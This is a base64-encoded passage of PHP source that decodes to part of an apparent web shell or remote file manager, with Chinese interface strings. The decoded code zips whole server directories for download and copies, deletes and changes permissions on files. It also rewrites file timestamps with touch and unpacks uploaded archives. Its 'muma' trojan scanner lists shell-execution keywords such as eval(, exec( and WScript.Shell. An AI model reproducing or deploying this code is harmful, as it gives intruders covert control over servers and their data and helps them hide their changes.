ICBjYXNlICJzY2FuY29kZSI6CiAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGZpbGVjb2RlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89ZWRpdHImcD0kZmlsZXMiLCAkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJzY2FucGhwIjoKICAgICAgICAgICAgICAgICAgICAkZmlsZWluZm8gPSBwYXRoaW5mbygkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZWluZm9bJ2V4dGVuc2lvbiddID09ICRjb2RlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAobXVtYSgkZmlsZWNvZGUsICRjb2RlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89ZWRpdHImcD0iIC4gdXJsZW5jb2RlKCRmaWxlcyksICKx4LytIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBodG1sX2EoIj93ZWJzaXRlXz1kZWwmcD0iIC4gdXJsZW5jb2RlKCRmaWxlcyksICLJvrP9Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlcyAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKCmNsYXNzIFBIUHppcAp7CgogICAgdmFyICRmaWxlX2NvdW50ID0gMDsKICAgIHZhciAkZGF0YXN0cl9sZW4gPSAwOwogICAgdmFyICRkaXJzdHJfbGVuID0gMDsKICAgIHZhciAkZmlsZWRhdGEgPSAnJzsKICAgIHZhciAkZ3pmaWxlbmFtZTsKICAgIHZhciAkZnA7CiAgICB2YXIgJGRpcnN0ciA9ICcnOwoKICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKQogICAgewogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoKICAgICAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgewogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gPSAxOTgwOwogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSA9IDE7CiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwKICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3RhcnRmaWxlKCRwYXRoID0gIndlYi56aXAiKQogICAgewogICAgICAgICR0aGlzLT5nemZpbGVuYW1lID0gJHBhdGg7CiAgICAgICAgJG15cGF0aGRpciA9IGFycmF5KCk7CiAgICAgICAgZG8gewogICAgICAgICAgICAkbXlwYXRoZGlyW10gPSAkcGF0aCA9IGRpcm5hbWUoJHBhdGgpOwogICAgICAgIH0gd2hpbGUgKCRwYXRoICE9ICcuJyk7CiAgICAgICAgQGVuZCgkbXlwYXRoZGlyKTsKICAgICAgICBkbyB7CiAgICAgICAgICAgICRwYXRoID0gQGN1cnJlbnQoJG15cGF0aGRpcik7CiAgICAgICAgICAgIEBta2RpcigkcGF0aCk7CiAgICAgICAgfSB3aGlsZSAoQHByZXYoJG15cGF0aGRpcikpOwoKICAgICAgICBpZiAoJHRoaXMtPmZwID0gQGZvcGVuKCR0aGlzLT5nemZpbGVuYW1lLCAidyIpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkZmlsZSgkZGF0YSwgJG5hbWUpCiAgICB7CiAgICAgICAgJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsKCiAgICAgICAgaWYgKHN0cnJjaHIoJG5hbWUsICcvJykgPT0gJy8nKSByZXR1cm4gJHRoaXMtPmFkZGRpcigkbmFtZSk7CgogICAgICAgICRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCkpOwogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10KICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdCiAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQogICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07CiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsKCiAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOwogICAgICAgICRjcmMgPSBjcmMzMigkZGF0YSk7CiAgICAgICAgJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7CiAgICAgICAgJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7CiAgICAgICAgJHpkYXRhID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOwoKICAgICAgICAkZGF0YXN0ciA9ICJceDUwXHg0Ylx4MDNceDA0IjsKICAgICAgICAkZGF0YXN0ciAuPSAiXHgxNFx4MDAiOwogICAgICAgICRkYXRhc3RyIC49ICJceDAwXHgwMCI7CiAgICAgICAgJGRhdGFzdHIgLj0gIlx4MDhceDAwIjsKICAgICAgICAkZGF0YXN0ciAuPSAkaGV4ZHRpbWU7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjcmMpOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkY19sZW4pOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ3YnLCAwKTsKICAgICAgICAkZGF0YXN0ciAuPSAkbmFtZTsKICAgICAgICAkZGF0YXN0ciAuPSAkemRhdGE7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjcmMpOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkY19sZW4pOwogICAgICAgICRkYXRhc3RyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgoKICAgICAgICBmd3JpdGUoJHRoaXMtPmZwLCAkZGF0YXN0cik7CiAgICAgICAgJG15X2RhdGFzdHJfbGVuID0gc3RybGVuKCRkYXRhc3RyKTsKICAgICAgICB1bnNldCgkZGF0YXN0cik7CgogICAgICAgICRkaXJzdHIgPSAiXHg1MFx4NGJceDAxXHgwMiI7CiAgICAgICAgJGRpcnN0ciAuPSAiXHgwMFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gIlx4MTRceDAwIjsKICAgICAgICAkZGlyc3RyIC49ICJceDAwXHgwMCI7CiAgICAgICAgJGRpcnN0ciAuPSAiXHgwOFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gJGhleGR0aW1lOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsICRjcmMpOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsICRjX2xlbik7CiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygnVicsIDMyKTsKICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCAkdGhpcy0+ZGF0YXN0cl9sZW4pOwogICAgICAgICRkaXJzdHIgLj0gJG5hbWU7CgogICAgICAgICR0aGlzLT5kaXJzdHIgLj0gJGRpcnN0cjsKCiAgICAgICAgJHRoaXMtPmZpbGVfY291bnQrKzsKICAgICAgICAkdGhpcy0+ZGlyc3RyX2xlbiArPSBzdHJsZW4oJGRpcnN0cik7CiAgICAgICAgJHRoaXMtPmRhdGFzdHJfbGVuICs9ICRteV9kYXRhc3RyX2xlbjsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRkaXIoJG5hbWUpCiAgICB7CiAgICAgICAgJG5hbWUgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRuYW1lKTsKICAgICAgICAkZGF0YXN0ciA9ICJceDUwXHg0Ylx4MDNceDA0XHgwYVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAgICAgICRkYXRhc3RyIC49IHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKSAuIHBhY2soInYiLCBzdHJsZW4oJG5hbWUpKTsKICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCJ2IiwgMCkgLiAkbmFtZSAuIHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKSAuIHBhY2soIlYiLCAwKTsKCiAgICAgICAgZndyaXRlKCR0aGlzLT5mcCwgJGRhdGFzdHIpOwogICAgICAgICRteV9kYXRhc3RyX2xlbiA9IHN0cmxlbigkZGF0YXN0cik7CiAgICAgICAgdW5zZXQoJGRhdGFzdHIpOwoKICAgICAgICAkZGlyc3RyID0gIlx4NTBceDRiXHgwMVx4MDJceDAwXHgwMFx4MGFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygiViIsIDApIC4gcGFjaygiViIsIDApIC4gcGFjaygiViIsIDApIC4gcGFjaygidiIsIHN0cmxlbigkbmFtZSkpOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygidiIsIDApIC4gcGFjaygidiIsIDApIC4gcGFjaygidiIsIDApIC4gcGFjaygidiIsIDApOwogICAgICAgICRkaXJzdHIgLj0gcGFjaygiViIsIDE2KSAuIHBhY2soIlYiLCAkdGhpcy0+ZGF0YXN0cl9sZW4pIC4gJG5hbWU7CgogICAgICAgICR0aGlzLT5kaXJzdHIgLj0gJGRpcnN0cjsKCiAgICAgICAgJHRoaXMtPmZpbGVfY291bnQrKzsKICAgICAgICAkdGhpcy0+ZGlyc3RyX2xlbiArPSBzdHJsZW4oJGRpcnN0cik7CiAgICAgICAgJHRoaXMtPmRhdGFzdHJfbGVuICs9ICRteV9kYXRhc3RyX2xlbjsKICAgIH0KCgogICAgZnVuY3Rpb24gY3JlYXRlZmlsZSgpCiAgICB7CiAgICAgICAgJGVuZHN0ciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCIgLgogICAgICAgICAgICBwYWNrKCd2JywgJHRoaXMtPmZpbGVfY291bnQpIC4KICAgICAgICAgICAgcGFjaygndicsICR0aGlzLT5maWxlX2NvdW50KSAuCiAgICAgICAgICAgIHBhY2soJ1YnLCAkdGhpcy0+ZGlyc3RyX2xlbikgLgogICAgICAgICAgICBwYWNrKCdWJywgJHRoaXMtPmRhdGFzdHJfbGVuKSAuCiAgICAgICAgICAgICJceDAwXHgwMCI7CgogICAgICAgIGZ3cml0ZSgkdGhpcy0+ZnAsICR0aGlzLT5kaXJzdHIgLiAkZW5kc3RyKTsKICAgICAgICBmY2xvc2UoJHRoaXMtPmZwKTsKICAgIH0KfQoKZnVuY3Rpb24gRmlsZV9BY3QoJGFycmF5LCAkYWN0YWxsLCAkaW52ZXIsICRSRUFMX0RJUikKewogICAgaWYgKCgkY291bnQgPSBjb3VudCgkYXJyYXkpKSA9PSAwKSByZXR1cm4gJ8fr0aHU8c7EvP4nOwogICAgaWYgKCRhY3RhbGwgPT0gJ2UnKSB7CiAgICAgICAgZnVuY3Rpb24gbGlzdGZpbGVzKCRkaXIgPSAiLiIsICRmYWlzdW5aSVAsICRteWRpcikKICAgICAgICB7CiAgICAgICAgICAgICRzdWJfZmlsZV9udW0gPSAwOwogICAgICAgICAgICBpZiAoaXNfZmlsZSgkbXlkaXIgLiAiJGRpciIpKSB7CiAgICAgICAgICAgICAgICBpZiAocmVhbHBhdGgoJGZhaXN1blpJUC0+Z3pmaWxlbmFtZSkgIT0gcmVhbHBhdGgoJG15ZGlyIC4gIiRkaXIiKSkgewogICAgICAgICAgICAgICAgICAgICRmYWlzdW5aSVAtPmFkZGZpbGUoZmlsZV9nZXRfY29udGVudHMoJG15ZGlyIC4gJGRpciksICIkZGlyIik7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIDE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGhhbmRsZSA9IG9wZW5kaXIoJG15ZGlyIC4gIiRkaXIiKTsKICAgICAgICAgICAgd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlID09ICIuIiB8fCAkZmlsZSA9PSAiLi4iKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG15ZGlyIC4gIiRkaXIvJGZpbGUiKSkgewogICAgICAgICAgICAgICAgICAgICRzdWJfZmlsZV9udW0gKz0gbGlzdGZpbGVzKCIkZGlyLyRmaWxlIiwgJGZhaXN1blpJUCwgJG15ZGlyKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHJlYWxwYXRoKCRmYWlzdW5aSVAtPmd6ZmlsZW5hbWUpICE9IHJlYWxwYXRoKCRteWRpciAuICIkZGlyLyRmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZhaXN1blpJUC0+YWRkZmlsZShmaWxlX2dldF9jb250ZW50cygkbXlkaXIgLiAkZGlyIC4gIi8iIC4gJGZpbGUpLCAiJGRpci8kZmlsZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAkc3ViX2ZpbGVfbnVtKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOwogICAgICAgICAgICBpZiAoISRzdWJfZmlsZV9udW0pICRmYWlzdW5aSVAtPmFkZGZpbGUoIiIsICIkZGlyLyIpOwogICAgICAgICAgICByZXR1cm4gJHN1Yl9maWxlX251bTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIG51bV9iaXR1bml0KCRudW0pCiAgICAgICAgewogICAgICAgICAgICAkYml0dW5pdCA9IGFycmF5KCcgQicsICcgS0InLCAnIE1CJywgJyBHQicpOwogICAgICAgICAgICBmb3IgKCRrZXkgPSAwOyAka2V5IDwgY291bnQoJGJpdHVuaXQpOyAka2V5KyspIHsKICAgICAgICAgICAgICAgIGlmICgkbnVtID49IHBvdygyLCAxMCAqICRrZXkpIC0gMSkgeyAvLzEwMjNCILvhz9TKvs6qIDFLQgogICAgICAgICAgICAgICAgICAgICRudW1fYml0dW5pdF9zdHIgPSAoY2VpbCgkbnVtIC8gcG93KDIsIDEwICogJGtleSkgKiAxMDApIC8gMTAwKSAuICIgJGJpdHVuaXRbJGtleV0iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkbnVtX2JpdHVuaXRfc3RyOwogICAgICAgIH0KCiAgICAgICAgJG15ZGlyID0gJFJFQUxfRElSIC4gJy8nOwogICAgICAgIGlmIChpc19hcnJheSgkYXJyYXkpKSB7CiAgICAgICAgICAgICRmYWlzdW5aSVAgPSBuZXcgUEhQemlwOwogICAgICAgICAgICBpZiAoJGZhaXN1blpJUC0+c3RhcnRmaWxlKCIkaW52ZXIiKSkgewogICAgICAgICAgICAgICAgJGZpbGVudW0gPSAwOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFycmF5IGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVudW0gKz0gbGlzdGZpbGVzKCRmaWxlLCAkZmFpc3VuWklQLCAkbXlkaXIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZhaXN1blpJUC0+Y3JlYXRlZmlsZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuICLRucv1zeqzySy5ssztvNMgJGZpbGVudW0guPbOxLz+Ljxicj48YSBocmVmPSckaW52ZXInPrXju/fPwtTYICRpbnZlciAoIiAuIG51bV9iaXR1bml0KGZpbGVzaXplKCIkaW52ZXIiKSkgLiAiKTwvYT4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcmV0dXJuICIkaW52ZXIgsrvE3NC0yOssx+u87LLpwre+trvyyKjP3srHt/HV/ci3Ljxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgcmV0dXJuICLDu9PQ0aHU8bXEzsS8/rvyxL/CvC48YnI+IjsKICAgICAgICB9CgoKICAgIH0KICAgICRpID0gMDsKICAgIHdoaWxlICgkaSA8ICRjb3VudCkgewogICAgICAgICRhcnJheVskaV0gPSB1cmxkZWNvZGUoJGFycmF5WyRpXSk7CiAgICAgICAgc3dpdGNoICgkYWN0YWxsKSB7CiAgICAgICAgICAgIGNhc2UgImEiIDoKICAgICAgICAgICAgICAgICRpbnZlciA9IHVybGRlY29kZSgkaW52ZXIpOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJGludmVyKSkgcmV0dXJuICfCt762tO3O8yc7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBhcnJheV9wb3AoZXhwbG9kZSgnLycsICRhcnJheVskaV0pKTsKICAgICAgICAgICAgICAgIEBjb3B5KCRhcnJheVskaV0sIEZpbGVfU3RyKCRpbnZlciAuICcvJyAuICRmaWxlbmFtZSkpOwogICAgICAgICAgICAgICAgJG1zZyA9ICe4tNbGtb0nIC4gJGludmVyIC4gJ8S/wrwnOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImIiIDoKICAgICAgICAgICAgICAgIGlmICghQHVubGluaygkYXJyYXlbJGldKSkgewogICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZmlsZW5hbWUsIDA2NjYpOwogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGFycmF5WyRpXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbXNnID0gJ8m+s/0nOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImMiIDoKICAgICAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgiL15bMC03XXs0fSQvaSIsICRpbnZlcikpIHJldHVybiAnyvTQ1Na1tO3O8yc7CiAgICAgICAgICAgICAgICAkbmV3bW9kZSA9IGJhc2VfY29udmVydCgkaW52ZXIsIDgsIDEwKTsKICAgICAgICAgICAgICAgIEBjaG1vZCgkYXJyYXlbJGldLCAkbmV3bW9kZSk7CiAgICAgICAgICAgICAgICAkbXNnID0gJ8r00NTQ3rjEzqonIC4gJGludmVyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImQiIDoKICAgICAgICAgICAgICAgIEB0b3VjaCgkYXJyYXlbJGldLCBzdHJ0b3RpbWUoJGludmVyKSk7CiAgICAgICAgICAgICAgICAkbXNnID0gJ9DeuMTKsbzkzqonIC4gJGludmVyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgICRpKys7CiAgICB9CiAgICByZXR1cm4gJ8v50aHOxLz+JyAuICRtc2cgLiAnzeqxzyc7Cn0KCmZ1bmN0aW9uIHN0YXJ0X3VuemlwKCR0bXBfbmFtZSwgJG5ld19uYW1lLCAkdG9kaXIgPSAnemlwZmlsZScpCnsKICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgaWYgKCR6aXAtPm9wZW4oJHRtcF9uYW1lKSAhPT0gVFJVRSkgewogICAgICAgIGVjaG8gJ7Gnx7ijodG5y/Ww/M7et6i08r+qu/LL8Lu1JzsKICAgIH0KICAgICR6aXAtPmV4dHJhY3RUbygkdG9kaXIpOwogICAgJHppcC0+Y2xvc2UoKTsKICAgIGVjaG8gJ73i0bnN6rHPo6EmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSI/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiB1cmxlbmNvZGUoJHRvZGlyKSAuICciPr34yOu94tG5xL/CvDwvYT4mbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSJqYXZhc2NyaXB0Omhpc3RvcnkuZ28oLTEpOyI+t7W72DwvYT4nOwp9CgpmdW5jdGlvbiBtdW1hKCRmaWxlY29kZSwgJGZpbGV0eXBlKQp7CiAgICAkZGltID0gYXJyYXkoCiAgICAgICAgInBocCIgPT4gYXJyYXkoImV2YWwoIiwgImV4ZWMoIiksCiAgICAgICAgImFzcCIgPT4gYXJyYXkoIldTY3JpcHQuU2hlbGwiLCAiZXhlY3V0ZSgiLCAiY3JlYXRldGV4dGZpbGUoIiksCiAgICAgICAgImFzcHgiID0+IGFycmF5KCJSZXNwb25zZS5Xcml0ZShldmFsKCIsICJSdW5DTUQoIiwgIkNyZWF0ZVRleHQoKSIpLAogICAgICAgICJqc3AiID0+IGFycmF5KCJydW50aW1lLmV4ZWMoIikKICAgICk7CiAgICBmb3JlYWNoICgkZGltWyRmaWxldHlwZV0gYXMgJGNvZGUpIHsKICAgICAgICBpZiAoc3RyaXN0cigkZmlsZWNvZGUsICRjb2RlKSkgcmV0dXJuIHRydWU7CiAgICB9Cn0KCmZ1bmN0aW9uIGRlYnVnKCRmaWxlLCAkZnR5cGUpCnsKICAgICR0eXBlID0gZXhwbG9kZSgnfCcsICRmdHlwZSk7CiAgICBmb3JlYWNoICgkdHlwZSBhcyAkaSkgewogICAgICAgIGlmIChzdHJpc3RyKCRmaWxlLCAkaSkpIHJldHVybiB0cnVlOwogICAgfQp9CgovKi0tLXN0cmluZy0tLSovCgpmdW5jdGlvbiBzdHJfcGF0aCgkcGF0aCkKewogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpOwp9CgpmdW5jdGlvbiBtc2coJG1zZykKewogICAgZGllKCI8c2NyaXB0PndpbmRvdy5hbGVydCgnIiAuICRtc2cgLiAiJyk7aGlzdG9yeS5nbygtMSk7PC9zY3JpcHQ+Iik7Cn0KCmZ1bmN0aW9uIHVwcGF0aCgkbm93cGF0aCkKewogICAgJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoJG5vd3BhdGgpKTsKICAgIHJldHVybiB1cmxlbmNvZGUoJG5vd3BhdGgpOwp9CgovKi0tLWh0bWwtLS0qLwoKZnVuY3Rpb24gaHRtbF9hKCR1cmwsICRuYW1lLCAkd2hlcmUgPSAnJykKewogICAgaHRtbF9uKCI8YSBocmVmPVwiJHVybFwiICR3aGVyZT4kbmFtZTwvYT4gIik7Cn0KCmZ1bmN0aW9uIGh0bWxfaW1nKCR1cmwpCnsKICAgIGh0bWxfbigiPGltZyBzcmM9XCI/aW1nPSR1cmxcIiBib3JkZXI9MD4iKTsKfQoKZnVuY3Rpb24gYmFjaygpCnsKICAgIGh0bWxfbigiPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J7e1u9gnIG9uY2xpY2s9J2hpc3RvcnkuYmFjaygpOyc+Iik7Cn0KCmZ1bmN0aW9uIGh0bWxfcmFkaW8oJG5hbWVpLCAkbmFtZXQsICR2MSwgJHYyKQp7CiAgICBodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJyAuICR2MSAuICciIGNoZWNrZWQ+JyAuICRuYW1laSk7CiAgICBodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJyAuICR2MiAuICciPicgLiAkbmFtZXQgLiAnPGJyPjxicj4nKTsKfQoKZnVuY3Rpb24gaHRtbF9pbnB1dCgkdHlwZSwgJG5hbWUsICR2YWx1ZSA9ICcnLCAkdGV4dCA9ICcnLCAkc2l6ZSA9ICcnLCAkbW9kZSA9IGZhbHNlKQp7CiAgICBpZiAoJG1vZGUpIHsKICAgICAgICBodG1sX24oIjxpbnB1dCB0eXBlPVwiJHR5cGVcIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIHNpemU9XCIkc2l6ZVwiIGNoZWNrZWQ+JHRleHQiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaHRtbF9uKCIkdGV4dCA8aW5wdXQgdHlwZT1cIiR0eXBlXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiBzaXplPVwiJHNpemVcIj4iKTsKICAgIH0KfQoKZnVuY3Rpb24gaHRtbF9iYXNlKCkKewogICAgaHRtbF9uKCdmdW5jdGlvbiBiYXNlNjRlbmNvZGUoc3RyKXsKCXZhciBiYXNlNjRFbmNvZGVDaGFycyA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIjsKICAgIHZhciBvdXQsIGksIGxlbjsKICAgIHZhciBjMSwgYzIsIGMzOwogICAgbGVuID0gc3RyLmxlbmd0aDsKICAgIGkgPSAwOwogICAgb3V0ID0gIiI7CiAgICB3aGlsZSAoaSA8IGxlbikgewogICAgICAgIGMxID0gc3RyLmNoYXJDb2RlQXQoaSsrKSAmIDB4ZmY7CiAgICAgICAgaWYgKGkgPT0gbGVuKSB7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKGMxICYgMHgzKSA8PCA0KTsKICAgICAgICAgICAgb3V0ICs9ICI9PSI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBjMiA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7CiAgICAgICAgaWYgKGkgPT0gbGVuKSB7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7CiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKChjMSAmIDB4MykgPDwgNCkgfCAoKGMyICYgMHhGMCkgPj4gNCkpOwogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KChjMiAmIDB4RikgPDwgMik7CiAgICAgICAgICAgIG91dCArPSAiPSI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBjMyA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7CiAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdChjMSA+PiAyKTsKICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzEgJiAweDMpIDw8IDQpIHwgKChjMiAmIDB4RjApID4+IDQpKTsKICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzIgJiAweEYpIDw8IDIpIHwgKChjMyAmIDB4QzApID4+IDYpKTsKICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KGMzICYgMHgzRik7CiAgICB9CiAgICByZXR1cm4gb3V0Owp9CmZ1bmN0aW9uIHV0ZjE2dG84KHN0cikgewp2YXIgb3V0LCBpLCBsZW4sIGM7Cm91dCA9ICIiOwpsZW4gPSBzdHIubGVuZ3RoOwpmb3IoaSA9IDA7IGkgPCBsZW47IGkrKykgewpjID0gc3RyLmNoYXJDb2RlQXQoaSk7CmlmICgoYyA+PSAweDAwMDEpICYmIChjIDw9IDB4MD